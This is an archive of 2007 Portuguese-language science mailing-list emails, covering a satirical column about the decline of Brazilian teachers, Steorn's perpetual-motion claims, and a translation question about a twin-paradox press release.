>| pilhas, seria possível utilizar uma corrente elétrica convencional de
>110V
>| sem estragar o LDR? (Desculpe minha ignorância nesse assunto e me perdõe
>se
>| eu estiver dizendo alguma besteira muito grande!)
>| * Se for possivel, como posso fazer para que o sistema funcione?
>| Utilizarei resistores?
>|
>| Me arrisquei tentando esboçar alguma coisa sobre o sistema, por
>favor,
>| corriga-me se eu estiver errado! Estou lhe enviando como anexo!
>| Peço encarecidamente que me ajude, contudo entenderei se não for
>| possivel. Ainda assim lhe agradeço muito pelo conhecimento que me foi, e
>| será, fornecido pelo seu site! Uma ótima fonte de conhecimento, parabéns
>| pelo seu trabalho!
>| Muito obrigado!
>|
>| _________________________________________________________________
>| Chegou o Windows Live Spaces com rede social. Confira
>| http://spaces.live.com/
>|
>
>
>--------------------------------------------------------------------------------
>
>
>No virus found in this incoming message.
>Checked by AVG Free Edition.
>Version: 7.5.476 / Virus Database: 269.10.6/902 - Release Date: 15/07/2007
>14:21
>
>
>[As partes desta mensagem que não continham texto foram removidas]
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SUBJECT: RE: [ciencialist] A última professora
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/07/2007 18:14

''o declínio do magistério: um complô contra
a educação, criado pela classe dominante(10% da população), que detinha mais
de 50% da renda nacional. ''
Esta frase ridícula desqualifica qualquer gracinha imaginativa do autor, com
certeza, já extinto.
Seria bem validada, se ele na sequência tivesse dito que os 90% da galera
ignara passaram a comandar no voto a metástase da ignorância, como nunca
antes nesse país...
Arre... M.

>From: "Esteban Moreno" <estebanlmoreno@gmail.com>
>Reply-To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] A última professora
>Date: Tue, 17 Jul 2007 14:08:24 -0300
>
>A última professora *Carlos Eduardo Novaes* *Jornal O Dia, 02/12/90*
>
>Estamos em 2989 e alguns cientistas, trabalhando nas ruínas de um sítio
>arqueológico (local outrora conhecido como Jacarepaguá), encontraram uma
>mandíbula de mulher. Levada ao laboratório, descobriu-se que ela pertencia
>a
>uma professora. Não uma professora qualquer, mas provavelmente a última da
>espécie classificada como de 1º Grau que viveu por volta de 2020 num antigo
>país chamado Brasil.
>
>No final do séc. XXI, o Brasil que conhecemos se tornou um aglomerado de
>tribos independentes, expressando-se nos mais diferentes idiomas. A
>descoberta do que ficou conhecido como a Professora de Jacarepaguá (uma
>versão mais moderna do Homem de Neanderthal) tornou possível encontrar as
>razões da dissolução do país.
>
>Buscando nos livros, os cientistas perceberam que houve uma época – entre o
>início do séc. XX e meados dos anos 50 – em que professores desse extinto
>país ocupavam uma posição invejável na escala social. As famílias
>monogâmicas das classes médias (e algumas altas) orgulhavam-se de poderem
>encaminhar suas filhas para a profissão. Casar com uma professora era a
>aspiração suprema de muitos homens. Elas eram olhadas com respeito,
>admiração e desfrutavam de um *status* semelhante ao dos militares.
>
>Reconhecidas na sua missão histórica de educar, recebiam – acreditem – um
>salário que chegava ao final do mês. Alguns iam além.
>
>Não se sabe precisar a data, mas parece que foi no final dos anos 70 que o
>magistério começou a desabar na escala social. Por mais que quebrem a
>cabeça, nossos cientistas não conseguem entender as razões dessa queda
>vertiginosa. Não terá sido por falta de escolas, porque o país esforçava-se
>para entrar na modernidade e necessitava ampliar sua rede escolar. Não terá
>sido também por falta de quem educar, porque esse atrasado país somava mais
>de 50 milhões de analfabetos e semiletrados no início dos anos 90. Muito
>menos pela possibilidade de substituir professoras por robôs, televisores e
>computadores. Por que então os magistrados passaram a ser tratados como os
>servos do antigo Egito?
>
>A princípio, suspeitou-se que esse povo atrasado e tropical tivesse uma
>caixa craniana inferior a das raças desenvolvidas. Mais tarde,
>encontraram-se outras razões para o declínio do magistério: um complô
>contra
>a educação, criado pela classe dominante(10% da população), que detinha
>mais
>de 50% da renda nacional. Não interessava a ela ver o saber democratizado,
>ou seus privilégios estariam ameaçados. Os professores despencaram para os
>últimos lugares da tabela econômica, equiparando-se aos profissionais (não
>especializados) mais mal pagos desse triste país. Alguns, ganhando
>salário-mínimo, recebiam menos do que os operários que ajudaram a levantar
>os Jardins Suspensos da Babilônia.
>
>O resultado é que, a partir do início do século XXI, o professorado
>tornou-se uma espécie em extinção. Documentos da época informaram que,
>quando uma jovem anunciava o desejo de ser professora, a família a colocava
>de castigo. Era preferível ganhar a vida como chacrete em programa de
>auditório. Os cientistas pesquisaram o desaparecimento de outras atividades
>nesse país: funileiro, cocheiro, acendedor de lampiões. Ocorre que esses
>profissionais foram engolidos pelos avanços da civilização. No caso dos
>professores, não há progresso nem tecnologia capaz de substituir sua
>presença. É a professora quem nos leva pela mão na travessia para as
>primeiras letras. É ela quem nos coloca no ponto de partida e, com uma
>palmadinha no traseiro, parece dizer:"Agora vai à luta".
>
>Segundo os cientistas, os governos da época, preocupados com questões mais
>transcendentais, não perceberam a escassez de professores no mercado. Foi
>preciso que as escolas começassem a fechar e os donos das escolas
>particulares esperneassem desesperados para o governo tomar providências.
>
>Que providências? Importar professores, como fez com o álcool. No início
>dava-se preferência à Portugal e às ex-colônias. Mas eles também tinham
>suas
>crianças para educar, de modo que o Governo teve que recorrer ao Paraguai,
>Bolívia, Guianas. Logo, os países desenvolvidos – que já dominavam a
>cultura
>do Brasil – perceberam o alcance do negócio e trataram de enviar,
>gratuitamente, bandos de professores às escolas brasileiras.
>
>O país tornou-se uma Babel. Em algumas regiões, ensinava-se em japonês; em
>outras, em alemão ou inglês, ou italiano ou espanhol. Em apenas uma única
>escola, em Jacarepaguá, uma professora resistia, ensinando os alunos em
>português. Sua morte tornou-se um marco na história da Educação nesse país.
>Foi enterrada com honras de herói nacional e o monumento ao "Professor
>Desconhecido", erguido no antigo Centro da Cidade, reproduz seu rosto na
>figura principal. Ao pé do monumento, os dizeres: " A última professora
>brasileira, homenagem dos seus ex-alunos." Foi a última frase que se
>escreveu nesse país em português.
>
>
>[As partes desta mensagem que não continham texto foram removidas]
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>##### ##### #####
>
>Página de apoio
>http://www.ciencialist.com
>
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>Links do Yahoo! Grupos
>
>




SUBJECT: Moto contínuo
FROM: Lourenço <listaslou@yahoo.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/07/2007 18:16

http://folhaverde.wordpress.com/2007/05/25/steorn-o-futuro-ja-comecou/


Até.

Lourenço.

listaslou@yahoo.com.br

"QUEM QUISER SALVAR O MUNDO APODRECIDO, DEVE TER A CORAGEM DE MOSTRAR AS CAUSAS PRIMÁRIAS DESSE MAL"






[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Moto contínuo
FROM: "Luis Brudna" <luisbrudna@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/07/2007 18:39

Na ultima semana tinham prometido uma demonstracao do experimento. Falharam!

http://www.gluon.com.br/blog/2007/07/07/steorn-falha-moto-perpetuo/

E pra quem gosta de rir da desgraca alheia...
http://www.humornaciencia.com.br/blog/2007/07/movimento-perpetuo/


E essa...
http://www.engadget.com/2007/07/17/the-engadget-interview-sean-mccarthy-ceo-of-steorn/
(nao tive tempo pra ler)

Ateh
Luis Brudna



On 7/17/07, Lourenço <listaslou@yahoo.com.br> wrote:
>
>
>
>
>
>
> http://folhaverde.wordpress.com/2007/05/25/steorn-o-futuro-ja-comecou/
>
> Até.
>
> Lourenço.
>
> listaslou@yahoo.com.br
>
> "QUEM QUISER SALVAR O MUNDO APODRECIDO, DEVE TER A CORAGEM DE MOSTRAR AS CAUSAS PRIMÁRIAS DESSE MAL"
>
> [As partes desta mensagem que não continham texto foram removidas]
>
>


SUBJECT: RES: [ciencialist] RG - tradução de texto.
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/07/2007 19:40

Olá, Murilo.



O sentido é o mesmo. É isso: não sei se o problema is mine, ou se é do
inglêis...



Grato pela contribuição.



Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de murilo filo
Enviada em: terça-feira, 17 de julho de 2007 17:53
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] RG - tradução de texto.



Ou também, modestamente:
'' NÃO IMPORTANDO ONDE A GENTE POSSA ESTAR NELE''...
abr/M.

>From: Gil <nanolink01@gmail.com <mailto:nanolink01%40gmail.com> >
>Reply-To: ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
>To: ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br>
>Subject: Re: [ciencialist] RG - tradução de texto.
>Date: Tue, 17 Jul 2007 09:57:45 -0300
>
>Não sei se isso se enquadra no que você sabe (e não sei o que você sabe,
>afinal), mas parece uma frase que já vi muitas vezes antes, em artigos
>científicos. Ficaria algo como:
>"Usando relações probabilísticas, a solução de Kak considera que o universo
>tem as mesmas propriedades gerais, não importando em que parte dele você
>esteja."
>
>Gil
>
>2007/7/17, J.Victor <j.victor.neto@uol.com.br
<mailto:j.victor.neto%40uol.com.br> >:
> >
> > Lista,
> >
> > Notícia quentinha. Ótima para outros pensadores que discordam da RG.
> >
> > Em um dos últimos parágrafos, ele, Kak, escreveu: ".....no matter
>where
> > one might be within it.", complementando um frase. Contudo não conseguí
> > uma
> > tradução de modo a se encaixar no que sei a respeito.
> >
> > Alguém poderia oferecer uma tradução adequada?
> >
> > Grato
> >
> > Victor.
> >
> > "Faculty & Staff Focus, Science & Technology
> >
> > LSU Professor Resolves Einstein's Twin Paradox
> >
> > 14/02/2007 16:12
> >
> >
> > Subhash Kak, Delaune Distinguished Professor of Electrical and Computer
> > Engineering at LSU, recently resolved the twin paradox, known as one of
> > the
> > most enduring puzzles of modern-day physics.
> >
> > First suggested by Albert Einstein more than 100 years ago, the paradox
> > deals with the effects of time in the context of travel at near the
>speed
> > of
> > light.
> >
> > Einstein originally used the example of two clocks – one motionless, one
> > in
> > transit. He stated that, due to the laws of physics, clocks being
> > transported near the speed of light would move more slowly than clocks
> > that
> > remained stationary.
> >
> > In more recent times, the paradox has been described using the analogy
>of
> > twins. If one twin is placed on a space shuttle and travels near the
>speed
> > of light while the remaining twin remains earthbound, the unmoved twin
> > would
> > have aged dramatically compared to his interstellar sibling, according
>to
> > the paradox.
> >
> >
> >
> > "If the twin aboard the spaceship went to the nearest star, which is
>4.45
> > light years away at 86 percent of the speed of light, when he returned,
>he
> > would have aged 5 years. But the earthbound twin would have aged more
>than
> > 10 years!" said Kak.
> >
> >
> > The fact that time slows down on moving objects has been documented and
> > verified over the
> >
> >
> >
> > But, in the previous scenario, the paradox is that the earthbound twin
>is
> > the one who would be considered to be in motion – in relation to the
> > sibling
> > – and therefore should be the one aging more slowly. Einstein and other
> > scientists have attempted to resolve this problem before, but none of
>the
> > formulas they presented proved satisfactory.
> >
> >
> >
> > Kak's findings were published online in the International Journal of
> > Theoretical Physics, and will appear in the upcoming print version of
>the
> > publication.
> >
> > "I solved the paradox by incorporating a new principle within the
> > relativity framework that defines motion not in relation to individual
> > objects, such as the two twins with respect to each other, but in
>relation
> > to distant stars," said Kak. Using probabilistic relationships, Kak's
> > solution assumes that the universe has the same general properties no
> > matter
> > where one might be within it.
> >
> > "Eu resolví o paradox incorporando um novo princípio dentro do esquema
>da
> > relatividade que define o movimento não em relação aos objetos
> > individuais,
> > tal como os dois gêmeos com respeito um ao outro, mas em relação à
> > estrelas
> > distantes", disse Kak. Usando relações probabilísiticas, a solução de
>Kak
> > assume que o universo tem as mesmas propriedades gerais no matter where
> > one
> > might be within it.
> >
> > The implications of this resolution will be widespread, generally
> > enhancing
> > the scientific community's comprehension of relativity. It may
>eventually
> > even have some impact on quantum communications and computers,
>potentially
> > making it possible to design more efficient and reliable communication
> > systems for space applications.
> >
> >
> >
> > For more information, please contact Subhash Kak at 225-578-5552 or
> > <mailto:kak@ece.lsu.edu <mailto:kak%40ece.lsu.edu> > kak@ece.lsu.edu
<mailto:kak%40ece.lsu.edu> ."
> >
> >
> >
> > -30-
> >
> >
> >
> >
> >
> >
> >
> > …..Using probabilistic relationships, Kak's solution assumes that the
> > universe has the same general properties no matter where one might be
> > within
> > it….
> >
> > Sds,
> >
> > Victor.
> >
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>[As partes desta mensagem que não continham texto foram removidas]
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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] A última professora
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/07/2007 20:14

Murilo:

� comum as pessoas que se consideram da elite intelectual, chamarem o povo
(em sentido abstrato, uma massa amorfa, talvez, indefinida, quase homog�nea)
de ignorante. O que isso significa? Que est�o desqualificados para votar e
escolher seus governantes? Que a opini�o dos "n�o-ignorantes" vale mais, ou
levaria o pa�s a melhores rumos? O povo seria ignorante porque? Por n�o
partilhar da opiniao da classe "esclarecida"? Por n�o ter educa��o de
qualidade (racioc�nio circular, j� que a educa��o depende de, entre outras
coisas, um bom sistema educacional!)?

N�o acredito que o povo seja desqualificado para votar, ou para opinar. Se
ignoram o que a "elite" intelectual consideram importante (sejam os
cl�ssicos da filosofia, as novas teorias da f�sica, o poder de processamento
do nov�ssimo processador-prot�tipo da AMD, o �ltimo artigo do economista
x), isso n�o quer dizer que tamb�m ignorem as id�ias b�sicas dos candidatos
, e suas consequ�ncias para suas pr�prias vidas. N�o significa que saibam
que h� pr�s e contras nas id�ias que os candidatos podem muito bem levar
para frente ou n�o. Sabem que existe uma pessoa real e interesses ocultos,
enfim, um mundo inteiro abaixo da apar�ncia de cada candidato, que a maioria
das pessoas sabe muito bem ser falsa. O povo sabe sim, ler nas entrelinhas,
e tem mem�ria razoavelmente funcional. J� vi muitos pol�ticos dando tiro
no proprio p� por crer que n�o seja dessa maneira. E quando as coias d�o
errado, quando o povo n�o concorda com o "saber" da elite intelectual, ele
� chamado de ignorante. Essa "fera adormecida" semrpe ser� chamada de
Besta-fera, quando puxar o tapete dos "formadores de opini�o".

Foi assim no s�culo 19, 20, est� sendo assim no 21.

O texto enviado tem os seus problemas, � claro. Mas desqualificar o voto do
povo chamando-o de ignorante n�o invalida em nada o texto (que, por sinal,
� mais uma brincadeira do que um texto realmente abrangente).

Sobre o "povo ignorante"
http://diplo.uol.com.br/imprima779

Sobre os problemas da educa��o (texto muito mais aprofundado)
http://www.jornaldaciencia.org.br/Detalhe.jsp?id=17683

Obs: "Ignorante" � um termo relativo, vago, e pode ser simplesmente um meio
preconceituoso de desqualificar uma pessoa, um grupo, uma sociedade. �
poss�vel chamar *qualquer* pessoa de ignorante, em diversos contextos.
Aquele contexto ao qual eu me refiro � o do velho termo pejorativo atirado
aos que discordam da opini�o dos que se consideram a vanguarda intelectual
, independente do ramo da atividade humana no qual eles se considerem
vanguarda .


Gil
Em 17/07/07, murilo filo <avalanchedrive@hotmail.com> escreveu:
>
> ''o decl�nio do magist�rio: um compl� contra
> a educa��o, criado pela classe dominante(10% da popula��o), que detinha
> mais
> de 50% da renda nacional. ''
> Esta frase rid�cula desqualifica qualquer gracinha imaginativa do autor,
> com
> certeza, j� extinto.
> Seria bem validada, se ele na sequ�ncia tivesse dito que os 90% da galera
> ignara passaram a comandar no voto a met�stase da ignor�ncia, como nunca
> antes nesse pa�s...
> Arre... M.
>
> >From: "Esteban Moreno" <estebanlmoreno@gmail.com>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >Subject: [ciencialist] A �ltima professora
> >Date: Tue, 17 Jul 2007 14:08:24 -0300
> >
> >A �ltima professora *Carlos Eduardo Novaes* *Jornal O Dia, 02/12/90*
> >
> >Estamos em 2989 e alguns cientistas, trabalhando nas ru�nas de um s�tio
> >arqueol�gico (local outrora conhecido como Jacarepagu�), encontraram uma
> >mand�bula de mulher. Levada ao laborat�rio, descobriu-se que ela
> pertencia
> >a
> >uma professora. N�o uma professora qualquer, mas provavelmente a �ltima
> da
> >esp�cie classificada como de 1� Grau que viveu por volta de 2020 num
> antigo
> >pa�s chamado Brasil.
> >
> >No final do s�c. XXI, o Brasil que conhecemos se tornou um aglomerado de
> >tribos independentes, expressando-se nos mais diferentes idiomas. A
> >descoberta do que ficou conhecido como a Professora de Jacarepagu� (uma
> >vers�o mais moderna do Homem de Neanderthal) tornou poss�vel encontrar as
> >raz�es da dissolu��o do pa�s.
> >
> >Buscando nos livros, os cientistas perceberam que houve uma �poca � entre
> o
> >in�cio do s�c. XX e meados dos anos 50 � em que professores desse extinto
> >pa�s ocupavam uma posi��o invej�vel na escala social. As fam�lias
> >monog�micas das classes m�dias (e algumas altas) orgulhavam-se de poderem
> >encaminhar suas filhas para a profiss�o. Casar com uma professora era a
> >aspira��o suprema de muitos homens. Elas eram olhadas com respeito,
> >admira��o e desfrutavam de um *status* semelhante ao dos militares.
> >
> >Reconhecidas na sua miss�o hist�rica de educar, recebiam � acreditem � um
> >sal�rio que chegava ao final do m�s. Alguns iam al�m.
> >
> >N�o se sabe precisar a data, mas parece que foi no final dos anos 70 que
> o
> >magist�rio come�ou a desabar na escala social. Por mais que quebrem a
> >cabe�a, nossos cientistas n�o conseguem entender as raz�es dessa queda
> >vertiginosa. N�o ter� sido por falta de escolas, porque o pa�s
> esfor�ava-se
> >para entrar na modernidade e necessitava ampliar sua rede escolar. N�o
> ter�
> >sido tamb�m por falta de quem educar, porque esse atrasado pa�s somava
> mais
> >de 50 milh�es de analfabetos e semiletrados no in�cio dos anos 90. Muito
> >menos pela possibilidade de substituir professoras por rob�s, televisores
> e
> >computadores. Por que ent�o os magistrados passaram a ser tratados como
> os
> >servos do antigo Egito?
> >
> >A princ�pio, suspeitou-se que esse povo atrasado e tropical tivesse uma
> >caixa craniana inferior a das ra�as desenvolvidas. Mais tarde,
> >encontraram-se outras raz�es para o decl�nio do magist�rio: um compl�
> >contra
> >a educa��o, criado pela classe dominante(10% da popula��o), que detinha
> >mais
> >de 50% da renda nacional. N�o interessava a ela ver o saber
> democratizado,
> >ou seus privil�gios estariam amea�ados. Os professores despencaram para
> os
> >�ltimos lugares da tabela econ�mica, equiparando-se aos profissionais
> (n�o
> >especializados) mais mal pagos desse triste pa�s. Alguns, ganhando
> >sal�rio-m�nimo, recebiam menos do que os oper�rios que ajudaram a
> levantar
> >os Jardins Suspensos da Babil�nia.
> >
> >O resultado � que, a partir do in�cio do s�culo XXI, o professorado
> >tornou-se uma esp�cie em extin��o. Documentos da �poca informaram que,
> >quando uma jovem anunciava o desejo de ser professora, a fam�lia a
> colocava
> >de castigo. Era prefer�vel ganhar a vida como chacrete em programa de
> >audit�rio. Os cientistas pesquisaram o desaparecimento de outras
> atividades
> >nesse pa�s: funileiro, cocheiro, acendedor de lampi�es. Ocorre que esses
> >profissionais foram engolidos pelos avan�os da civiliza��o. No caso dos
> >professores, n�o h� progresso nem tecnologia capaz de substituir sua
> >presen�a. � a professora quem nos leva pela m�o na travessia para as
> >primeiras letras. � ela quem nos coloca no ponto de partida e, com uma
> >palmadinha no traseiro, parece dizer:"Agora vai � luta".
> >
> >Segundo os cientistas, os governos da �poca, preocupados com quest�es
> mais
> >transcendentais, n�o perceberam a escassez de professores no mercado. Foi
> >preciso que as escolas come�assem a fechar e os donos das escolas
> >particulares esperneassem desesperados para o governo tomar provid�ncias.
> >
> >Que provid�ncias? Importar professores, como fez com o �lcool. No in�cio
> >dava-se prefer�ncia � Portugal e �s ex-col�nias. Mas eles tamb�m tinham
> >suas
> >crian�as para educar, de modo que o Governo teve que recorrer ao
> Paraguai,
> >Bol�via, Guianas. Logo, os pa�ses desenvolvidos � que j� dominavam a
> >cultura
> >do Brasil � perceberam o alcance do neg�cio e trataram de enviar,
> >gratuitamente, bandos de professores �s escolas brasileiras.
> >
> >O pa�s tornou-se uma Babel. Em algumas regi�es, ensinava-se em japon�s;
> em
> >outras, em alem�o ou ingl�s, ou italiano ou espanhol. Em apenas uma �nica
> >escola, em Jacarepagu�, uma professora resistia, ensinando os alunos em
> >portugu�s. Sua morte tornou-se um marco na hist�ria da Educa��o nesse
> pa�s.
> >Foi enterrada com honras de her�i nacional e o monumento ao "Professor
> >Desconhecido", erguido no antigo Centro da Cidade, reproduz seu rosto na
> >figura principal. Ao p� do monumento, os dizeres: " A �ltima professora
> >brasileira, homenagem dos seus ex-alunos." Foi a �ltima frase que se
> >escreveu nesse pa�s em portugu�s.
> >
> >
> >[As partes desta mensagem que n�o continham texto foram removidas]
> >
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> >P�gina de apoio
> >http://www.ciencialist.com
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> >Links do Yahoo! Grupos
> >
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> P�gina de apoio
> http://www.ciencialist.com
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> Links do Yahoo! Grupos
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[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Fwd: [ciencialist] A última professora
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/07/2007 20:20

Em tempo: "N�o significa que N�O saibam que h� pr�s e contras nas id�ias que
os candidatos podem muito bem levar para frente (ou n�o). AS PESSOAS sabem
que existe uma pessoa real e interesses ocultos, enfim, um mundo inteiro
abaixo da apar�ncia de cada candidato, que elas sabem que pode muito bem
ser falsa (e provavelmente �)."

Obs 2: N�o acredito que o termo "ignorante" tenha qualquer utilidade,
pessoamente falando. S� o usei como refer�ncia �s palavras frequentemente
usadas de maneira impr�pria, conforme escrevi no texto.

Gil
---------- Forwarded message ----------
From: Gil <nanolink01@gmail.com>
Date: 17/07/2007 20:14
Subject: Re: [ciencialist] A �ltima professora
To: ciencialist@yahoogrupos.com.br

Murilo:

� comum as pessoas que se consideram da elite intelectual, chamarem o povo
(em sentido abstrato, uma massa amorfa, talvez, indefinida, quase homog�nea)
de ignorante. O que isso significa? Que est�o desqualificados para votar e
escolher seus governantes? Que a opini�o dos "n�o-ignorantes" vale mais, ou
levaria o pa�s a melhores rumos? O povo seria ignorante porque? Por n�o
partilhar da opiniao da classe "esclarecida"? Por n�o ter educa��o de
qualidade (racioc�nio circular, j� que a educa��o depende de, entre outras
coisas, um bom sistema educacional!)?

N�o acredito que o povo seja desqualificado para votar, ou para opinar. Se
ignoram o que a "elite" intelectual consideram importante (sejam os
cl�ssicos da filosofia, as novas teorias da f�sica, o poder de processamento
do nov�ssimo processador-prot�tipo da AMD, o �ltimo artigo do economista
x), isso n�o quer dizer que tamb�m ignorem as id�ias b�sicas dos candidatos
, e suas consequ�ncias para suas pr�prias vidas. N�o significa que saibam
que h� pr�s e contras nas id�ias que os candidatos podem muito bem levar
para frente ou n�o. Sabem que existe uma pessoa real e interesses ocultos,
enfim, um mundo inteiro abaixo da apar�ncia de cada candidato, que a maioria
das pessoas sabe muito bem ser falsa. O povo sabe sim, ler nas entrelinhas,
e tem mem�ria razoavelmente funcional. J� vi muitos pol�ticos dando tiro
no proprio p� por crer que n�o seja dessa maneira. E quando as coias d�o
errado, quando o povo n�o concorda com o "saber" da elite intelectual, ele
� chamado de ignorante. Essa "fera adormecida" semrpe ser� chamada de
Besta-fera, quando puxar o tapete dos "formadores de opini�o".

Foi assim no s�culo 19, 20, est� sendo assim no 21.

O texto enviado tem os seus problemas, � claro. Mas desqualificar o voto do
povo chamando-o de ignorante n�o invalida em nada o texto (que, por sinal,
� mais uma brincadeira do que um texto realmente abrangente).

Sobre o "povo ignorante"
http://diplo.uol.com.br/imprima779

Sobre os problemas da educa��o (texto muito mais aprofundado)
http://www.jornaldaciencia.org.br/Detalhe.jsp?id=17683

Obs: "Ignorante" � um termo relativo, vago, e pode ser simplesmente um meio
preconceituoso de desqualificar uma pessoa, um grupo, uma sociedade. �
poss�vel chamar *qualquer* pessoa de ignorante, em diversos contextos.
Aquele contexto ao qual eu me refiro � o do velho termo pejorativo atirado
aos que discordam da opini�o dos que se consideram a vanguarda intelectual
, independente do ramo da atividade humana no qual eles se considerem
vanguarda .


Gil
Em 17/07/07, murilo filo <avalanchedrive@hotmail.com> escreveu:
>
> ''o decl�nio do magist�rio: um compl� contra
> a educa��o, criado pela classe dominante(10% da popula��o), que detinha
> mais
> de 50% da renda nacional. ''
> Esta frase rid�cula desqualifica qualquer gracinha imaginativa do autor,
> com
> certeza, j� extinto.
> Seria bem validada, se ele na sequ�ncia tivesse dito que os 90% da galera
> ignara passaram a comandar no voto a met�stase da ignor�ncia, como nunca
> antes nesse pa�s...
> Arre... M.
>
> >From: "Esteban Moreno" <estebanlmoreno@gmail.com>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >Subject: [ciencialist] A �ltima professora
> >Date: Tue, 17 Jul 2007 14:08:24 -0300
> >
> >A �ltima professora *Carlos Eduardo Novaes* *Jornal O Dia, 02/12/90*
> >
> >Estamos em 2989 e alguns cientistas, trabalhando nas ru�nas de um s�tio
> >arqueol�gico (local outrora conhecido como Jacarepagu�), encontraram uma
> >mand�bula de mulher. Levada ao laborat�rio, descobriu-se que ela
> pertencia
> >a
> >uma professora. N�o uma professora qualquer, mas provavelmente a �ltima
> da
> >esp�cie classificada como de 1� Grau que viveu por volta de 2020 num
> antigo
> >pa�s chamado Brasil.
> >
> >No final do s�c. XXI, o Brasil que conhecemos se tornou um aglomerado de
> >tribos independentes, expressando-se nos mais diferentes idiomas. A
> >descoberta do que ficou conhecido como a Professora de Jacarepagu� (uma
> >vers�o mais moderna do Homem de Neanderthal) tornou poss�vel encontrar as
> >raz�es da dissolu��o do pa�s.
> >
> >Buscando nos livros, os cientistas perceberam que houve uma �poca � entre
> o
> >in�cio do s�c. XX e meados dos anos 50 � em que professores desse extinto
> >pa�s ocupavam uma posi��o invej�vel na escala social. As fam�lias
> >monog�micas das classes m�dias (e algumas altas) orgulhavam-se de poderem
>
> >encaminhar suas filhas para a profiss�o. Casar com uma professora era a
> >aspira��o suprema de muitos homens. Elas eram olhadas com respeito,
> >admira��o e desfrutavam de um *status* semelhante ao dos militares.
> >
> >Reconhecidas na sua miss�o hist�rica de educar, recebiam � acreditem � um
> >sal�rio que chegava ao final do m�s. Alguns iam al�m.
> >
> >N�o se sabe precisar a data, mas parece que foi no final dos anos 70 que
> o
> >magist�rio come�ou a desabar na escala social. Por mais que quebrem a
> >cabe�a, nossos cientistas n�o conseguem entender as raz�es dessa queda
> >vertiginosa. N�o ter� sido por falta de escolas, porque o pa�s
> esfor�ava-se
> >para entrar na modernidade e necessitava ampliar sua rede escolar. N�o
> ter�
> >sido tamb�m por falta de quem educar, porque esse atrasado pa�s somava
> mais
> >de 50 milh�es de analfabetos e semiletrados no in�cio dos anos 90. Muito
> >menos pela possibilidade de substituir professoras por rob�s, televisores
> e
> >computadores. Por que ent�o os magistrados passaram a ser tratados como
> os
> >servos do antigo Egito?
> >
> >A princ�pio, suspeitou-se que esse povo atrasado e tropical tivesse uma
> >caixa craniana inferior a das ra�as desenvolvidas. Mais tarde,
> >encontraram-se outras raz�es para o decl�nio do magist�rio: um compl�
> >contra
> >a educa��o, criado pela classe dominante(10% da popula��o), que detinha
> >mais
> >de 50% da renda nacional. N�o interessava a ela ver o saber
> democratizado,
> >ou seus privil�gios estariam amea�ados. Os professores despencaram para
> os
> >�ltimos lugares da tabela econ�mica, equiparando-se aos profissionais
> (n�o
> >especializados) mais mal pagos desse triste pa�s. Alguns, ganhando
> >sal�rio-m�nimo, recebiam menos do que os oper�rios que ajudaram a
> levantar
> >os Jardins Suspensos da Babil�nia.
> >
> >O resultado � que, a partir do in�cio do s�culo XXI, o professorado
> >tornou-se uma esp�cie em extin��o. Documentos da �poca informaram que,
> >quando uma jovem anunciava o desejo de ser professora, a fam�lia a
> colocava
> >de castigo. Era prefer�vel ganhar a vida como chacrete em programa de
> >audit�rio. Os cientistas pesquisaram o desaparecimento de outras
> atividades
> >nesse pa�s: funileiro, cocheiro, acendedor de lampi�es. Ocorre que esses
> >profissionais foram engolidos pelos avan�os da civiliza��o. No caso dos
> >professores, n�o h� progresso nem tecnologia capaz de substituir sua
> >presen�a. � a professora quem nos leva pela m�o na travessia para as
> >primeiras letras. � ela quem nos coloca no ponto de partida e, com uma
> >palmadinha no traseiro, parece dizer:"Agora vai � luta".
> >
> >Segundo os cientistas, os governos da �poca, preocupados com quest�es
> mais
> >transcendentais, n�o perceberam a escassez de professores no mercado. Foi
>
> >preciso que as escolas come�assem a fechar e os donos das escolas
> >particulares esperneassem desesperados para o governo tomar provid�ncias.
> >
> >Que provid�ncias? Importar professores, como fez com o �lcool. No in�cio
> >dava-se prefer�ncia � Portugal e �s ex-col�nias. Mas eles tamb�m tinham
> >suas
> >crian�as para educar, de modo que o Governo teve que recorrer ao
> Paraguai,
> >Bol�via, Guianas. Logo, os pa�ses desenvolvidos � que j� dominavam a
> >cultura
> >do Brasil � perceberam o alcance do neg�cio e trataram de enviar,
> >gratuitamente, bandos de professores �s escolas brasileiras.
> >
> >O pa�s tornou-se uma Babel. Em algumas regi�es, ensinava-se em japon�s;
> em
> >outras, em alem�o ou ingl�s, ou italiano ou espanhol. Em apenas uma �nica
> >escola, em Jacarepagu�, uma professora resistia, ensinando os alunos em
> >portugu�s. Sua morte tornou-se um marco na hist�ria da Educa��o nesse
> pa�s.
> >Foi enterrada com honras de her�i nacional e o monumento ao "Professor
> >Desconhecido", erguido no antigo Centro da Cidade, reproduz seu rosto na
> >figura principal. Ao p� do monumento, os dizeres: " A �ltima professora
> >brasileira, homenagem dos seus ex-alunos." Foi a �ltima frase que se
> >escreveu nesse pa�s em portugu�s.
> >
> >
> >[As partes desta mensagem que n�o continham texto foram removidas]
> >
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> >
> >P�gina de apoio
> >http://www.ciencialist.com
> >
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> >Links do Yahoo! Grupos
> >
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> P�gina de apoio
> http://www.ciencialist.com
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> Links do Yahoo! Grupos
>
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[As partes desta mensagem que n�o continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Tigreão
FROM: Gil <nanolink01@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/07/2007 20:29

Valeu, Homero.

Esse tal dna insiste em me passar a perna sempre que penso estar entendendo
